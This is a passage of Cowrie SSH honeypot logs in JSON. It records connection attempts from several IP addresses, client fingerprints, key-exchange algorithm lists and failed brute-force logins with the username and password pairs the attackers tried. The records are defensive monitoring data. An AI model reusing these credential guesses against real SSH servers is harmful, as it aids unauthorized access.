sh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:20.018095Z","src_ip":"159.203.92.129","session":"7b7b2b11b829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AIROB2018","password":"123","message":"login attempt [AIROB2018/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:20.098675Z","src_ip":"159.203.92.129","session":"7b7b2b11b829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:21.181648Z","src_ip":"159.203.92.129","session":"7b7b2b11b829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34938,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3acdfa21973","protocol":"ssh","message":"New connection: 37.143.61.84:34938 (159.203.135.109:22) [session: f3acdfa21973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:37.283374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:39.580800Z","src_ip":"37.143.61.84","session":"f3acdfa21973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:40.191742Z","src_ip":"37.143.61.84","session":"f3acdfa21973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testtest","password":"test","message":"login attempt [testtest/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:41.120986Z","src_ip":"37.143.61.84","session":"f3acdfa21973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:43.290717Z","src_ip":"37.143.61.84","session":"f3acdfa21973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":60796,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bfff846ce6e","protocol":"ssh","message":"New connection: 103.228.69.212:60796 (159.203.135.109:22) [session: 3bfff846ce6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:46.698709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:46.703459Z","src_ip":"103.228.69.212","session":"3bfff846ce6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:46.933831Z","src_ip":"103.228.69.212","session":"3bfff846ce6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"asshole","message":"login attempt [debian/asshole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:47.888252Z","src_ip":"103.228.69.212","session":"3bfff846ce6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:49.121276Z","src_ip":"103.228.69.212","session":"3bfff846ce6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35112,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa7b0d54958d","protocol":"ssh","message":"New connection: 80.94.92.186:35112 (159.203.135.109:22) [session: aa7b0d54958d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:53.117579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:53.336959Z","src_ip":"80.94.92.186","session":"aa7b0d54958d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:53.340952Z","src_ip":"80.94.92.186","session":"aa7b0d54958d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:54.233668Z","src_ip":"80.94.92.186","session":"aa7b0d54958d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:20:55.432427Z","src_ip":"80.94.92.186","session":"aa7b0d54958d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55820,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a51eea51d11","protocol":"ssh","message":"New connection: 159.203.92.129:55820 (159.203.135.109:22) [session: 1a51eea51d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:04.542111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:04.547151Z","src_ip":"159.203.92.129","session":"1a51eea51d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:04.552122Z","src_ip":"159.203.92.129","session":"1a51eea51d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AIROB2018","password":"123456","message":"login attempt [AIROB2018/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:04.563823Z","src_ip":"159.203.92.129","session":"1a51eea51d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:05.587851Z","src_ip":"159.203.92.129","session":"1a51eea51d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":50014,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb63fee073c6","protocol":"ssh","message":"New connection: 103.228.69.212:50014 (159.203.135.109:22) [session: eb63fee073c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:44.721061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:44.725453Z","src_ip":"103.228.69.212","session":"eb63fee073c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:44.955655Z","src_ip":"103.228.69.212","session":"eb63fee073c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2","message":"login attempt [test/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:45.905668Z","src_ip":"103.228.69.212","session":"eb63fee073c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:47.142013Z","src_ip":"103.228.69.212","session":"eb63fee073c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60836,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0505c92481f","protocol":"ssh","message":"New connection: 159.203.92.129:60836 (159.203.135.109:22) [session: a0505c92481f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:48.510412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:48.515219Z","src_ip":"159.203.92.129","session":"a0505c92481f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:48.519874Z","src_ip":"159.203.92.129","session":"a0505c92481f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AIROB2018","password":"AIROB2018","message":"login attempt [AIROB2018/AIROB2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:48.530768Z","src_ip":"159.203.92.129","session":"a0505c92481f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:21:49.538064Z","src_ip":"159.203.92.129","session":"a0505c92481f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55466,"dst_ip":"159.203.135.109","dst_port":22,"session":"f25918b83a6d","protocol":"ssh","message":"New connection: 159.203.92.129:55466 (159.203.135.109:22) [session: f25918b83a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:32.333531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:32.337819Z","src_ip":"159.203.92.129","session":"f25918b83a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:32.342540Z","src_ip":"159.203.92.129","session":"f25918b83a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AIROB2018","password":"AIROB2018123","message":"login attempt [AIROB2018/AIROB2018123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:32.355721Z","src_ip":"159.203.92.129","session":"f25918b83a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:33.362185Z","src_ip":"159.203.92.129","session":"f25918b83a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":39228,"dst_ip":"159.203.135.109","dst_port":22,"session":"237c2fc30d08","protocol":"ssh","message":"New connection: 103.228.69.212:39228 (159.203.135.109:22) [session: 237c2fc30d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:43.631308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:43.634827Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-e